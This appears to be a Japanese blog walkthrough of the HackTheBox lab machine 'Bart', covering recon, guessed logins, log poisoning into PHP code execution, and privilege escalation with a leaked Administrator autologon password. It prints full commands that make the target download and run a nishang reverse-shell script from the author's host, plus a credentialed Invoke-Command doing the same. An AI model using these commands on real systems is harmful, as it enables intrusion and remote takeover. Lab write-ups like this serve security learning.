1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【HackTheBox】Bart #WalkThrough

Posted at

初めに

今回は HackTheBox の Bart に取り組んでいきます。難易度は medium らしいです。

前回取り組んだ Trick とアプローチこそ違いますが、複数の Web サイトを渡り歩きながら初期侵入し、権限昇格に繋げていくマシンとなっています。

偵察

まずはターゲットマシンで開放されているポートを調査します。

┌──(kali㉿kali)-[~/hackthebox/bart]
└─$ nmap -p- --min-rate 5000 -sCV 10.10.10.81
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-03 10:10 JST
Nmap scan report for 10.10.10.81
Host is up (0.39s latency).
Not shown: 65534 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
80/tcp open  http    Microsoft IIS httpd 10.0
|_http-title: Did not follow redirect to http://forum.bart.htb/
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 43.90 seconds

Webポートしか空いていないみたいです。Windowsマシンとしては珍しい構成ですね。

ドメイン名がforum.bart.htbとのことです。bart.htbと併せて/etc/hostsに追記した上でアクセスしてみましょう。

Webサイト

forum.bart.htb

bart.htbにアクセスしてもこちらにリダイレクトされます。

企業のHPのようです。

image.png

image.png

ページ中部にはチームメンバーの名前が表示されています。

該当部分のソースをよくよく眺めてみると、一人コメントアウトされているメンバー(Harvey Potter)がいますね。こちらは控えておきましょう。

image.png

それ以上の情報はパッとは見つかりませんでした。

今回最初からサブドメインのforum.bart.htbに飛ばされたわけですが、他にも何かあるのではという気がします。サブドメイン探索してみましょう。

┌──(kali㉿kali)-[~/hackthebox/bart]
└─$ gobuster vhost -u bart.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:             http://bart.htb
[+] Method:          GET
[+] Threads:         10
[+] Wordlist:        /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
[+] User Agent:      gobuster/3.6
[+] Timeout:         10s
[+] Append Domain:   true
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
Found: forum.bart.htb Status: 200 [Size: 35529]
Found: monitor.bart.htb Status: 200 [Size: 3423]
Progress: 4989 / 4990 (99.98%)
===============================================================
Finished
===============================================================

新しくmonitor.bart.htbの存在が判明しました。

こちらを/etc/hostsに追加して、アクセスしてみたいと思います。

monitor.bart.htb

アクセスしてみると、ログイン画面が出てきます。
image.png

先程コメントアウトされていたHarvey Potterさんが怪しいので、こちらの名前から類推できる組み合わせで色々ログイン試行してみたところ、Username に harvey 、Password に potter の組み合わせでログインに成功しました。

image.png

メニューバーのServerが嬉しそうです。アクセスしてみます。

image.png

新しいドメインinternal-01.bart.htbの存在が判明しました。

こちらも/etc/hostsに記載した上でアクセスしてみましょう。

internal-01.bart.htb

こちらもログイン画面が出てきました。流石に先程と同様の認証情報ではログインできません。

image.png

ログイン画面の感じから、各機能はphpで作られていそうなので、怪しい機能が無いか調査していきます。

┌──(kali㉿kali)-[~/hackthebox/bart]
└─$ ffuf -u http://internal-01.bart.htb/simple_chat/FUZZ.php -w /usr/share/seclists/Discovery/Web-Content/common.txt -fc 500   

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://internal-01.bart.htb/simple_chat/FUZZ.php
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/common.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response status: 500
________________________________________________

...
Index                   [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 228ms]
:: Progress: [295/4746] :: Job [1/1] :: 169 req/sec :: Duration: [0:
Login                   [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 239ms]
...
:: Progress: [1118/4746] :: Job [1/1] :: 182 req/sec :: Duration: [0
chat                    [Status: 302, Size: 4, Words: 1, Lines: 3, Duration: 232ms]
...
:: Progress: [2232/4746] :: Job [1/1] :: 183 req/sec :: Duration: [0
index                   [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 223ms]
...
:: Progress: [2547/4746] :: Job [1/1] :: 187 req/sec :: Duration: [0
login                   [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 219ms]
:: Progress: [2568/4746] :: Job [1/1] :: 176 req/sec :: Duration: [0:: Progress: [2572/4746] :: Job [1/1] :: 179 req/sec :: Duration: [0
logout                  [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 205ms]
...
:: Progress: [3512/4746] :: Job [1/1] :: 197 req/sec :: Duration: [0
register                [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 221ms]
...

出力が長すぎてところどころ端折ってますが、registerがあるみたいです。
見てみましょう。
image.png

ページが稼働していないようですね...

ログインリクエストの方を burp で見てみると、ログイン画面の URL であるlogin_forum.phpではなく、login.phpが uname と passwd を飛ばしているようです。

image.png

そのため、register.php自体は飛ばせるのではないかと推察します。

burpのrepeater機能で飛ばしてみましょう。

image.png

無事飛んでそうですね。ちゃんと登録できたかどうか、ログインして確認してみます。

image.png

ログイン成功です。

殆ど何もないページですが、右上に Log のボタンがあるのでこちらにアクセスしてみます。

image.png

何やらポップアップが出てきました。burp を覗いてみると以下のリクエストが飛んでいるっぽいです。

image.png

クエリパラメータとして filename と username が送信されています。指定したファイルにログを書き込んでいるような処理でしょうか。

log.txtにはアクセスできなかったので、適当にfilenameに/log/log.phpを指定して書き込ませてみます。

image.png

ポップアップにリクエストヘッダのUser-Agent部分が表示されています。
実際にアクセスしてみても書き込まれていることが確認できます。

image.png

こちらに、RCE の php を仕込んだらどうなるか見てみましょう。

image.png

repeater で送信した後に、もう一度同じ要領でURLにアクセスします。
この時、クエリパラメータに cmd=whoami を追加して送信しています。

image.png

分かりづらいですが、nt authority\iusr が whoami の出力で出てきていることが分かります。

それでは、リバースシェルを張って侵入していきたいと思います。

Initial Access

今回侵入対象のマシンは Windows のようなので、nishang の Invoke-PowerShellTcp.ps1 を対象マシンにダウンロードさせてリバースシェルを張ります。

初めに、Invoke-PowerShellTcp.ps1 に待ち受け先の IP とポートを記載しておきます。

┌──(kali㉿kali)-[~/tools/nishang/Shells]
└─$ tail -1 Invoke-PowerShellTcp.ps1 
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.5 -Port 4444

記載が終わったら、同階層で簡易サーバを立ち上げておきます(今回は8000ポートで待ち受けています)

その後、先程と同様 cmd パラメータに Invoke-PowerShellTcp.ps1 をダウンロードして即実行する旨のコマンドを記載して curl でURLを叩きます。

┌──(kali㉿kali)-[~/hackthebox/bart]
└─$ curl "http://internal-01.bart.htb/log/log.php?filename=log.php&username=harvey&cmd=powershell+IEX(New-Object+Net.WebClient).downloadString('http://10.10.14.5:8000/Invoke-PowerShellTcp.ps1')"

IEX().downloadString(): URLからダウンロードしたスクリプトを即実行する

待ち受け側を確認すると、無事初期侵入できていることが確認できました。

image.png

ただ、このユーザではどの User ディレクトリも閲覧することが出来ないみたいなので横展開が必要そうです。

本マシンでは直接ドメインアドミンを取得するルートがありますので、結果的に権限昇格です。

Privilege Escalation

まずは、ヒントを得るためにwinPEASを回していきましょう。

今回侵入しているマシンはx64のタイプみたいなので注意しましょう

PS C:\Windows\Temp> systeminfo

Host Name:                 BART
OS Name:                   Microsoft Windows 10 Pro
OS Version:                10.0.15063 N/A Build 15063
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Standalone Workstation
OS Build Type:             Multiprocessor Free
Registered Owner:          Windows User
Registered Organization:   
Product ID:                00330-80110-20834-AA869
Original Install Date:     24/09/2017, 19:35:51
System Boot Time:          03/08/2025, 02:08:21
System Manufacturer:       VMware, Inc.
System Model:              VMware Virtual Platform
System Type:               x64-based PC
Processor(s):              2 Processor(s) Installed.
                           [01]: AMD64 Family 25 Model 1 Stepping 1 AuthenticAMD ~2445 Mhz
                           [02]: AMD64 Family 25 Model 1 Stepping 1 AuthenticAMD ~2445 Mhz
BIOS Version:              Phoenix Technologies LTD 6.00, 12/11/2020
Windows Directory:         C:\Windows
System Directory:          C:\Windows\system32
Boot Device:               \Device\HarddiskVolume1
System Locale:             en-gb;English (United Kingdom)
Input Locale:              en-gb;English (United Kingdom)
Time Zone:                 (UTC+00:00) Dublin, Edinburgh, Lisbon, London
Total Physical Memory:     4,095 MB
Available Physical Memory: 3,046 MB
Virtual Memory: Max Size:  5,567 MB
Virtual Memory: Available: 4,363 MB
Virtual Memory: In Use:    1,204 MB
Page File Location(s):     C:\pagefile.sys
Domain:                    WORKGROUP
Logon Server:              N/A
Hotfix(s):                 N/A
Network Card(s):           1 NIC(s) Installed.
                           [01]: Intel(R) 82574L Gigabit Network Connection
                                 Connection Name: Ethernet0
                                 DHCP Enabled:    No
                                 IP address(es)
                                 [01]: 10.10.10.81
Hyper-V Requirements:      A hypervisor has been detected. Features required for Hyper-V will not be displayed.

注目すべきは以下です。Administrator のオートログオンの認証情報が見えています。

image.png

こちらを使って Administrator として入り直そうと思います。

まずはWinPEASで手に入ったオートログオンの認証情報を環境変数に書き込みます。

PS C:\inetpub\wwwroot\internal-01\log> $username = "BART\Administrator"
PS C:\inetpub\wwwroot\internal-01\log> $password = "3130438f31186fbaf962f407711faddb"

次に、SecureString オブジェクトを作成して平文パスワードを SecureString に変換し、ユーザオブジェクト PSCredential を用意します

PS C:\inetpub\wwwroot\internal-01\log> $secstr = New-Object -TypeName System.Security.SecureString
PS C:\inetpub\wwwroot\internal-01\log> $password.ToCharArray() | ForEach-Object {$secstr.AppendChar($_)}
PS C:\inetpub\wwwroot\internal-01\log> $cred = new-object -typename System.Management.Automation.PSCredential -argumentlist $username, $secstr

最後に、用意した認証情報とともに新しくリバースシェルを張るためのコマンドを実行します。

PS C:\inetpub\wwwroot\internal-01\log> Invoke-Command -ScriptBlock { IEX(New-Object Net.WebClient).downloadString('http://10.10.15.48:8083/shell.ps1') } -Credential $cred -Computer localhost

ここで、最後の列でダウンロードされている shell.ps1 は先程の Invoke-PowerShellTcp.ps1 の末尾を、新しく待ち受けるポート 5555 に変更したものになります。

┌──(kali㉿kali)-[~/tools/nishang/Shells]
└─$ tail -1 shell.ps1                
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.5 -Port 5555

待ち構えていた側を確認すると、無事権限昇格できていることが確認できました。

┌──(kali㉿kali)-[~/hackthebox/bart]
└─$ nc -lnvp 5555
listening on [any] 5555 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.10.81] 50261
Windows PowerShell running as user Administrator on BART
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\Users\Administrator\Documents>
1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?